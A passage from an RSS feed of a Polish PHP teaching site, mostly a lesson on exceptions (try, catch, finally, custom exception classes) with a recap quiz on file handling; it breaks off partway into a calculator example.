<div class="wp-block-file"><span style="font-size: 120%">PHP – Zapisy na turniej gier</span><a href="https://kamakaczmarek.net/wp-content/uploads/13_1_Zapisy_na_turniej_gier.docx" class="wp-block-file__button wp-element-button" download="" aria-describedby="wp-block-file--media-38dd5b68-c5dc-4a03-b93a-d23f9d016fc0">Pobierz</a></div>
<p>Artykuł <a href="https://kamakaczmarek.net/php-odbieranie-danych-z-przegladarki-formularze-html-metody-get-i-post-wysylanie-danych-do-przegladarki/">13. PHP &#8211; odbieranie danych z przeglądarki &#8211; formularze html, metody GET i POST. Wysyłanie danych do przeglądarki.</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>12. PHP &#8211; wyjątki, try&#8230;catch&#8230;</title>
		<link>https://kamakaczmarek.net/12-php-wyjatki-try-catch/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sat, 01 Dec 2018 12:20:26 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wyjątki]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=3170</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 11 – operacje na plikach. Odpowiedz z pamięci, bez zaglądania do kodu. 1. Czym różni się tryb 'w' od 'a' w fopen()? Który z nich skasuje dotychczasową zawartość pliku? 2. Co znajdzie się w pliku log.txt po wykonaniu tego kodu? 3. Znajdź dwa błędy w tym fragmencie: 4. [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/12-php-wyjatki-try-catch/">12. PHP &#8211; wyjątki, try&#8230;catch&#8230;</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 11 – operacje na plikach. Odpowiedz z pamięci, bez zaglądania do kodu.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Czym różni się tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">'w'</code> od <code class="prettyprint lang-sql" style="font-size: 0.85em;">'a'</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>? Który z nich skasuje dotychczasową zawartość pliku?</p>



<p class="wp-block-paragraph"><strong>2.</strong> Co znajdzie się w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">log.txt</code> po wykonaniu tego kodu?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik = fopen('log.txt', 'w');
fwrite($plik, "A\n");
fclose($plik);

$plik = fopen('log.txt', 'a');
fwrite($plik, "B\n");
fclose($plik);

echo file_get_contents('log.txt');</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Znajdź dwa błędy w tym fragmencie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik = fopen('dane.txt', 'r');
while (!feof($plik)) {
    echo fgets($plik);
}</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>, gdy pliku nie ma, a tryb to <code class="prettyprint lang-sql" style="font-size: 0.85em;">'r'</code>? Jak poprawnie sprawdzić ten wynik?</p>



<p class="wp-block-paragraph"><strong>5.</strong> Uzupełnij tak, żeby linia została <strong>dopisana</strong>, a nie nadpisała pliku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents('log.txt', "nowa linia\n", ____________);</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Która wersja wczyta plik do tablicy linii <strong>bez</strong> znaków końca linii?</p>



<p class="wp-block-paragraph">a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">file($sciezka)</code><br />b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">file($sciezka, FILE_IGNORE_NEW_LINES)</code><br />c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents($sciezka)</code></p>



<p class="wp-block-paragraph"><strong>7.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz = fgetcsv($plik, 0, ';');</code> — co dokładnie zwróci ta funkcja po dojściu do końca pliku, a co dla pustej linii?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<p class="wp-block-paragraph"><strong>1.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">'w'</code> otwiera do zapisu i <strong>kasuje</strong> dotychczasową zawartość (albo tworzy plik, jeśli go nie ma). <code class="prettyprint lang-sql" style="font-size: 0.85em;">'a'</code> też zapisuje, ale <strong>dopisuje na końcu</strong> i niczego nie kasuje.</p>



<p class="wp-block-paragraph"><strong>2.</strong> Wypisze:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">A
B</code></pre>



<p class="wp-block-paragraph">Pierwszy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">'w'</code> wyczyścił plik i zapisał <code class="prettyprint lang-sql" style="font-size: 0.85em;">A</code>, drugi w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">'a'</code> dopisał <code class="prettyprint lang-sql" style="font-size: 0.85em;">B</code> na końcu.</p>



<p class="wp-block-paragraph"><strong>3.</strong> Po pierwsze: brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose($plik);</code> — plik zostaje otwarty. Po drugie: brak sprawdzenia, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> się udało — jeśli pliku nie ma, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik</code> będzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">feof(false)</code> skończy się błędem. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($plik === false) { ... }</code> zaraz po otwarciu.</p>



<p class="wp-block-paragraph"><strong>4.</strong> Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (plus ostrzeżenie PHP). Sprawdzamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($plik === false)</code> — z potrójnym znakiem równości, bo poprawny uchwyt pliku też mógłby zostać potraktowany jak wartość logiczna.</p>



<p class="wp-block-paragraph"><strong>5.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code>.</p>



<p class="wp-block-paragraph"><strong>6.</strong> b) — <code class="prettyprint lang-sql" style="font-size: 0.85em;">file($sciezka, FILE_IGNORE_NEW_LINES)</code>. Sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">file()</code> zostawia <code class="prettyprint lang-sql" style="font-size: 0.85em;">\n</code> na końcu każdego elementu, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents()</code> zwraca jeden wielki string, nie tablicę.</p>



<p class="wp-block-paragraph"><strong>7.</strong> Po końcu pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Dla pustej linii zwraca tablicę z jednym elementem <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> (czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">[null]</code>) — dlatego w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> pustą linię trzeba było osobno pomijać, zamiast liczyć na <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">W trakcie wykonywania skryptów, często okazuje się, że natrafiamy na błędy. W takiej sytuacji skrypt kończy swoje działanie, a istnieją sytuacje, w których nie jest to konieczne np. praca na nieistniejącym pliku.</p>



<p class="wp-block-paragraph">I tutaj z pomocą przychodzą nam wyjątki(mechanizm obsługi błędów), które wyświetlają stosowną informację dla użytkownika w przypadku błędu i umożliwiają kontynuację pracy skryptu.</p>



<p class="wp-block-paragraph">Mówimy, że wyjątki <strong>przechwytują błędy.</strong></p>



<p class="wp-block-paragraph">Wyobraźmy sobie funkcję zwracającą odwrotność podanej liczby (1/x). Co się stanie, gdy ktoś przekaże 0?</p>



<p>Jak zabezpieczyć taki kod?</p>



<p class="wp-block-paragraph">Przykład z nieobsłużonym błędem:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function odwrotnosc($x) {
    if (!$x) {
        return "Błąd: dzielenie przez 0";  // Zwracamy string
    }
    return 1 / $x;  // Zwracamy liczbę
}

// Użycie - PROBLEMATYCZNE!
echo 'Odwrotność 5 to ' . odwrotnosc(5) . '&lt;br&gt;';
// Wynik: Odwrotność 5 to 0.2

echo 'Odwrotność 0 to ' . odwrotnosc(0) . '&lt;br&gt;';
// Wynik: Odwrotność 0 to Błąd: dzielenie przez 0

echo 'Odwrotność 7 to ' . odwrotnosc(7) . '&lt;br&gt;';
// Wynik: Odwrotność 7 to 0.142857...

echo 'Skrypt kontynuuje swoją pracę';</code></pre>



<p>A teraz rozwiązanie z obsługą błędów:</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function odwrotnosc($x) {
    if (!$x) {
        throw new Exception('Dzielenie przez 0');  // Rzuć wyjątek
    }
    return 1 / $x;
}

// ============================================
// Przykład BEZ przechwycenia błędu - ZATRZYMA SKRYPT
// ============================================
echo 'Odwrotność 5 to ' . odwrotnosc(5) . '&lt;br&gt;';
echo 'Odwrotność 0 to ' . odwrotnosc(0) . '&lt;br&gt;';  // FATAL ERROR!
echo 'Odwrotność 7 to ' . odwrotnosc(7) . '&lt;br&gt;';  // Nie wykona się
echo 'Skrypt kontynuuje swoją pracę';              // Nie wykona się</code></pre>



<p class="wp-block-paragraph"><strong>Wynik w przeglądarce:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Odwrotność 5 to 0.2

Fatal error: Uncaught Exception: Dzielenie przez 0 in /path/to/file.php:4
Stack trace:
#0 /path/to/file.php(20): odwrotnosc(0)
#1 {main}
  thrown in /path/to/file.php on line 4</code></pre>



<p class="wp-block-paragraph"><strong>Skrypt się zatrzymał!</strong>&nbsp;To zachowanie domyślne &#8211; jeśli wyjątek nie zostanie przechwycony, PHP przerywa działanie.</p>



<h3 class="wp-block-heading">Z przechwyceniem wyjątku &#8211; POPRAWNIE</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function odwrotnosc($x) {
    if (!$x) {
        throw new Exception('Dzielenie przez 0');
    }
    return 1 / $x;
}

// Przykład z przechwyconym błędem
try {
    echo 'Odwrotność 5 to ' . odwrotnosc(5) . '&lt;br&gt;';
    echo 'Odwrotność 0 to ' . odwrotnosc(0) . '&lt;br&gt;';  // Wyjątek!
    echo 'Odwrotność 7 to ' . odwrotnosc(7) . '&lt;br&gt;';  // Nie wykona się
} catch (Exception $e) {
    echo 'Przechwycony wyjątek: ' . $e-&gt;getMessage() . '&lt;br&gt;';
}

echo 'Skrypt kontynuuje swoją pracę';</code></pre>



<p class="wp-block-paragraph"><strong>Wynik:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Odwrotność 5 to 0.2
Przechwycony wyjątek: Dzielenie przez 0
Skrypt kontynuuje swoją pracę</code></pre>



<h2 class="wp-block-heading">Podstawowa składnia</h2>



<h3 class="wp-block-heading">Kluczowe słowa: throw, try, catch</h3>



<p class="wp-block-paragraph">Wyjątki są obiektami klasy <a href="https://www.php.net/manual/en/language.exceptions.php">Exception</a>, które posiadają własny komunikat i kod błędu. Mogą one zostać wyłapane (try), rzucone (throw) i przechwycone (catch).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// throw - rzuć wyjątek
throw new Exception('Komunikat błędu');

// try - spróbuj wykonać kod
try {
    // Kod, który może rzucić wyjątek
}

// catch - przechwyć wyjątek
catch (Exception $e) {
    // Obsłuż błąd
}</code></pre>



<h3 class="wp-block-heading">throw &#8211; rzucanie wyjątku</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function podziel($a, $b) {
    if ($b == 0) {
        throw new Exception('Nie można dzielić przez zero');
    }
    return $a / $b;
}</code></pre>



<p class="wp-block-paragraph"><strong>throw</strong>&nbsp;&#8211; &#8222;rzuć wyjątek&#8221;, przerwij normalne działanie i przekaż kontrolę do&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code></p>



<h3 class="wp-block-heading">try &#8211; próba wykonania kodu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    // Kod, który może generować błędy
    echo podziel(10, 2);   // OK
    echo podziel(10, 0);   // Wyjątek!
    echo podziel(10, 5);   // Nie wykona się
}</code></pre>



<p class="wp-block-paragraph"><strong>try</strong>&nbsp;&#8211; &#8222;spróbuj wykonać ten kod, ale przygotuj się na wyjątki&#8221;</p>



<h3 class="wp-block-heading">catch &#8211; przechwycenie wyjątku</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    echo podziel(10, 0);
} catch (Exception $e) {
    echo 'Błąd: ' . $e-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph"><strong>catch</strong>&nbsp;&#8211; &#8222;jeśli w try wystąpi wyjątek, wykonaj ten kod&#8221;</p>



<h4 class="wp-block-heading">Schemat działania</h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">┌─────────────────────────────────────────┐
│  TRY (spróbuj)                          │
│  ┌─────────────────────────────────┐    │
│  │ echo odwrotnosc(5);             │    │
│  │ echo odwrotnosc(0);  ───► throw │    │
│  │ echo odwrotnosc(7);             │    │
│  └─────────────────────────────────┘    │
└──────────────┬──────────────────────────┘
               │
               ▼
┌─────────────────────────────────────────┐
│  CATCH (przechwyć)                      │
│  ┌─────────────────────────────────┐    │
│  │ echo "Błąd: " . $e-&gt;getMessage()│    │
│  └─────────────────────────────────┘    │
└──────────────┬──────────────────────────┘
               │
               ▼
         Kontynuacja skryptu</code></pre>



<h4 class="wp-block-heading">MOŻLIWE METODY WYJĄTKÓW</h4>



<p>Wyjątki są <strong>obiektami klasy Exception</strong>, które posiadają przydatne metody diagnostyczne.</p>



<h4 class="wp-block-heading">Wszystkie metody</h4>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"></p>
</blockquote>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    odwrotnosc(0);
} catch (Exception $e) {
    echo "INFORMACJE O WYJĄTKU:\n\n";
    
    // 1. Wiadomość błędu
    echo "getMessage(): " . $e-&gt;getMessage() . "\n";
    // Dzielenie przez 0
    
    // 2. Kod błędu (domyślnie 0, można ustawić własny)
    echo "getCode(): " . $e-&gt;getCode() . "\n";
    // 0
    
    // 3. Plik, w którym wystąpił błąd
    echo "getFile(): " . $e-&gt;getFile() . "\n";
    // /var/www/html/test.php
    
    // 4. Linia w pliku
    echo "getLine(): " . $e-&gt;getLine() . "\n";
    // 4
    
    // 5. Ślad wywołań (array) - backtrace
    echo "getTrace():\n";
    print_r($e-&gt;getTrace());
    
    // 6. Ślad wywołań jako string (czytelniejszy)
    echo "getTraceAsString():\n";
    echo $e-&gt;getTraceAsString() . "\n";
    
    // 7. Poprzedni wyjątek (jeśli istnieje)
    echo "getPrevious(): ";
    var_dump($e-&gt;getPrevious());
    // NULL (brak poprzedniego)
}</code></pre>



<h3 class="wp-block-heading">Tabela metod Exception</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Przykład</th><th>Zastosowanie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code></td><td>string</td><td>&#8222;Dzielenie przez 0&#8221;</td><td>Komunikat dla użytkownika</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getCode()</code></td><td>int</td><td>0 lub własny kod</td><td>Kategoryzacja błędów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code></td><td>string</td><td>&#8222;test.php&#8221;</td><td>Debugowanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code></td><td>int</td><td>4</td><td>Debugowanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getTrace()</code></td><td>array</td><td>[&#8230;]</td><td>Zaawansowane debugowanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code></td><td>string</td><td>&#8222;#0 test.php(10)&#8230;&#8221;</td><td>Logowanie błędów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getPrevious()</code></td><td>Exception|null</td><td>null</td><td>Łańcuch błędów</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Przykład praktyczny z wszystkimi metodami</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function odwrotnosc($x) {
    if (!$x) {
        throw new Exception('Dzielenie przez 0', 100);  // z kodem błędu
    }
    return 1 / $x;
}

try {
    echo 'Odwrotność 5 to ' . odwrotnosc(5) . '&lt;br&gt;';
    echo 'Odwrotność 0 to ' . odwrotnosc(0) . '&lt;br&gt;';
    echo 'Odwrotność 7 to ' . odwrotnosc(7) . '&lt;br&gt;';
} catch (Exception $e) {
    echo "&lt;pre&gt;";
    echo "Przechwycony wyjątek:\n";
    echo "• Wiadomość: " . $e-&gt;getMessage() . "\n";
    echo "• Kod: " . $e-&gt;getCode() . "\n";
    echo "• Plik: " . basename($e-&gt;getFile()) . "\n";
    echo "• Linia: " . $e-&gt;getLine() . "\n";
    echo "\nŚlad wywołań:\n" . $e-&gt;getTraceAsString();
    echo "&lt;/pre&gt;";
}

echo 'Skrypt kontynuuje swoją pracę';</code></pre>



<h4 class="wp-block-heading"><strong>Wynik:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Odwrotność 5 to 0.2

Przechwycony wyjątek:
• Wiadomość: Dzielenie przez 0
• Kod: 100
• Plik: test.php
• Linia: 4

Ślad wywołań:
#0 test.php(12): odwrotnosc(0)
#1 {main}

Skrypt kontynuuje swoją pracę</code></pre>



<h4>FINALLY</h4>
<p>Finally służy do określenia kodu, który będzie wykonywany zawsze, niezależnie od wykrycia wyjątku.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function odwrotnosc($x) {
    if (!$x) {
        throw new Exception('Dzielenie przez 0');
    }
    return 1 / $x;
}

// Przykład 1: BEZ wyjątku
try {
    echo 'Odwrotność 5 to ' . odwrotnosc(5) . '&lt;br&gt;';
} catch (Exception $e) {
    echo 'Błąd: ' . $e-&gt;getMessage() . '&lt;br&gt;';
} finally {
    echo 'Blok finally wykonany (BEZ wyjątku)&lt;br&gt;&lt;br&gt;';
}

// Przykład 2: Z wyjątkiem
try {
    echo 'Odwrotność 0 to ' . odwrotnosc(0) . '&lt;br&gt;';
} catch (Exception $e) {
    echo 'Błąd: ' . $e-&gt;getMessage() . '&lt;br&gt;';
} finally {
    echo 'Blok finally wykonany (Z wyjątkiem)&lt;br&gt;&lt;br&gt;';
}

echo 'Skrypt kontynuuje działanie';</code></pre>



<p class="wp-block-paragraph">Wynik:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Odwrotność 5 to 0.2
Blok finally wykonany (BEZ wyjątku)

Błąd: Dzielenie przez 0
Blok finally wykonany (Z wyjątkiem)

Skrypt kontynuuje działanie</code></pre>



<p>Należy jednak uważać podczas używania finally z  <span style="text-decoration: underline;"><strong>return</strong></span>!</p>
<p>Jeżeli w bloku try&#8230; catch&#8230; zostanie wykryta instrukcja return, blok finally i tak zostanie wykonany. Dodatkowo, jeżeli blok finally też zawiera return, to zwrócona zostanie zawartość finally.</p>
<p><strong>Problem:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> <strong>nadpisuje</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>!</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
//problematyczny kod
function test() {
    try {
        echo "try&lt;br&gt;";
        return 1;
    } catch (Exception $e) {
        echo "catch&lt;br&gt;";
        return 2;
    } finally {
        echo "finally&lt;br&gt;";
        return 3;  // TO NADPISZE poprzedni return!
    }
    return 4;  // Nigdy się nie wykona
}

$wynik = test();
echo "Wynik: $wynik";

//zostanie wyświetlone
//try
//finally
//Wynik: 3

//poprawne rozwiązanie
function test() {
    $result = null;
    
    try {
        $result = 1;
    } catch (Exception $e) {
        $result = 2;
    } finally {
        // Tylko cleanup, bez return
        echo "Cleanup wykonany&lt;br&gt;";
    }
    
    return $result;
}</code></pre>



<h2 class="wp-block-heading">Praktyczne zastosowania finally</h2>



<h3 class="wp-block-heading">1. Zamykanie pliku</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$plik = null;

try {
    $plik = fopen('dane.txt', 'r');
    
    if ($plik === false) {
        throw new Exception("Nie można otworzyć pliku");
    }
    
    // Operacje na pliku...
    $zawartosc = fread($plik, filesize('dane.txt'));
    echo $zawartosc;
    
} catch (Exception $e) {
    echo "Błąd: " . $e-&gt;getMessage();
} finally {
    // ZAWSZE zamknij plik
    if ($plik !== null) {
        fclose($plik);
        echo "Plik zamknięty&lt;br&gt;";
    }
}</code></pre>



<h3 class="wp-block-heading">2. Zamykanie połączenia z bazą danych</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$db = null;

try {
    $db = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
    
    // Operacje na bazie...
    $stmt = $db-&gt;query("SELECT * FROM users");
    $users = $stmt-&gt;fetchAll();
    
} catch (PDOException $e) {
    echo "Błąd bazy: " . $e-&gt;getMessage();
} finally {
    // ZAWSZE zamknij połączenie
    $db = null;
    echo "Połączenie zamknięte&lt;br&gt;";
}</code></pre>



<h3 class="wp-block-heading">3. Zwalnianie zasobów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function processLargeFile($filename) {
    $resource = acquireResource();  // Zdobądź zasób
    
    try {
        // Przetwarzanie...
        if (!file_exists($filename)) {
            throw new Exception("Plik nie istnieje");
        }
        
        // Długa operacja...
        processFile($filename, $resource);
        
    } catch (Exception $e) {
        echo "Błąd: " . $e-&gt;getMessage();
    } finally {
        // ZAWSZE zwolnij zasób
        releaseResource($resource);
        echo "Zasób zwolniony&lt;br&gt;";
    }
}</code></pre>



<h4>TWORZENIE WŁASNYCH WYJĄTKÓW</h4>
<p>Wyjątki możemy tworzyć wg własnego uznania. Wystarczy, że stworzymy klasę dziedziczącą po klasie Exception.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class MojWyjatek extends Exception {
    public function __construct() {
        parent::__construct("To jest mój autorski wyjątek");
    }
}

function testMojWyjatek() {
    throw new MojWyjatek();
}

try {
    testMojWyjatek();
} catch (MojWyjatek $e) {
    echo "Błąd: " . $e-&gt;getMessage();
}
// Wynik: Błąd: To jest mój autorski wyjątek</code></pre>



<h4 class="wp-block-heading">Własny wyjątek z dodatkowymi danymi</h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class DivisionByZeroException extends Exception {
    private $dividend;
    
    public function __construct($dividend) {
        $this-&gt;dividend = $dividend;
        parent::__construct("Nie można podzielić $dividend przez 0");
    }
    
    public function getDividend() {
        return $this-&gt;dividend;
    }
}

function odwrotnosc($x) {
    if (!$x) {
        throw new DivisionByZeroException($x);
    }
    return 1 / $x;
}

try {
    echo odwrotnosc(0);
} catch (DivisionByZeroException $e) {
    echo "Błąd: " . $e-&gt;getMessage() . "&lt;br&gt;";
    echo "Próbowano podzielić: " . $e-&gt;getDividend();
}</code></pre>



<h4 class="wp-block-heading">Hierarchia własnych wyjątków</h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Bazowy wyjątek aplikacji
class AppException extends Exception {}

// Wyjątki matematyczne
class MathException extends AppException {}
class DivisionByZeroException extends MathException {}
class NegativeNumberException extends MathException {}

// Wyjątki plików
class FileException extends AppException {}
class FileNotFoundException extends FileException {}
class FileNotReadableException extends FileException {}

// ============================================
// UŻYCIE
// ============================================

function odwrotnosc($x) {
    if (!$x) {
        throw new DivisionByZeroException('Dzielenie przez 0');
    }
    
    if ($x &lt; 0) {
        throw new NegativeNumberException('Liczba ujemna: ' . $x);
    }
    
    return 1 / $x;
}

try {
    echo odwrotnosc(-5);
} catch (DivisionByZeroException $e) {
    echo "Dzielenie przez zero!";
} catch (NegativeNumberException $e) {
    echo "Liczba ujemna: " . $e-&gt;getMessage();
} catch (MathException $e) {
    echo "Błąd matematyczny: " . $e-&gt;getMessage();
} catch (AppException $e) {
    echo "Błąd aplikacji: " . $e-&gt;getMessage();
}</code></pre>



<h3 class="wp-block-heading">Przykład praktyczny &#8211; walidacja formularza</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class ValidationException extends Exception {
    private array $errors;
    
    public function __construct(array $errors, string $message = "Błędy walidacji") {
        parent::__construct($message);
        $this-&gt;errors = $errors;
    }
    
    public function getErrors(): array {
        return $this-&gt;errors;
    }
}

function validateUser(array $data): void {
    $errors = &#91;];
    
    if (empty($data&#91;'email'])) {
        $errors&#91;] = 'Email jest wymagany';
    }
    
    if (empty($data&#91;'password'])) {
        $errors&#91;] = 'Hasło jest wymagane';
    }
    
    if (strlen($data&#91;'password'] ?? '') &lt; 8) {
        $errors&#91;] = 'Hasło musi mieć min. 8 znaków';
    }
    
    if (!empty($errors)) {
        throw new ValidationException($errors);
    }
}

// Użycie
try {
    validateUser(&#91;'email' =&gt; '', 'password' =&gt; 'short']);
} catch (ValidationException $e) {
    echo "Błędy walidacji:&lt;br&gt;";
    foreach ($e-&gt;getErrors() as $error) {
        echo "• $error&lt;br&gt;";
    }
}

//Wynik:
//Błędy walidacji:
//• Email jest wymagany
//• Hasło musi mieć min. 8 znaków</code></pre>



<h2 class="wp-block-heading">Przykłady praktyczne</h2>



<h3 class="wp-block-heading">1. System logowania błędów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class ErrorLogger {
    private string $logFile = 'errors.log';
    
    public function log(Exception $e): void {
        $timestamp = date('Y-m-d H:i:s');
        
        $logEntry = sprintf(
            "&#91;%s] %s: %s\nPlik: %s:%d\nŚlad:\n%s\n%s\n",
            $timestamp,
            get_class($e),
            $e-&gt;getMessage(),
            basename($e-&gt;getFile()),
            $e-&gt;getLine(),
            $e-&gt;getTraceAsString(),
            str_repeat('-', 80)
        );
        
        file_put_contents($this-&gt;logFile, $logEntry, FILE_APPEND);
    }
}

// Użycie
$logger = new ErrorLogger();

try {
    odwrotnosc(0);
} catch (Exception $e) {
    $logger-&gt;log($e);
    echo "Wystąpił błąd. Szczegóły w logu.";
}</code></pre>



<h3 class="wp-block-heading">2. Kalkulator z obsługą błędów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class CalculatorException extends Exception {}
class DivisionByZeroException extends CalculatorException {}
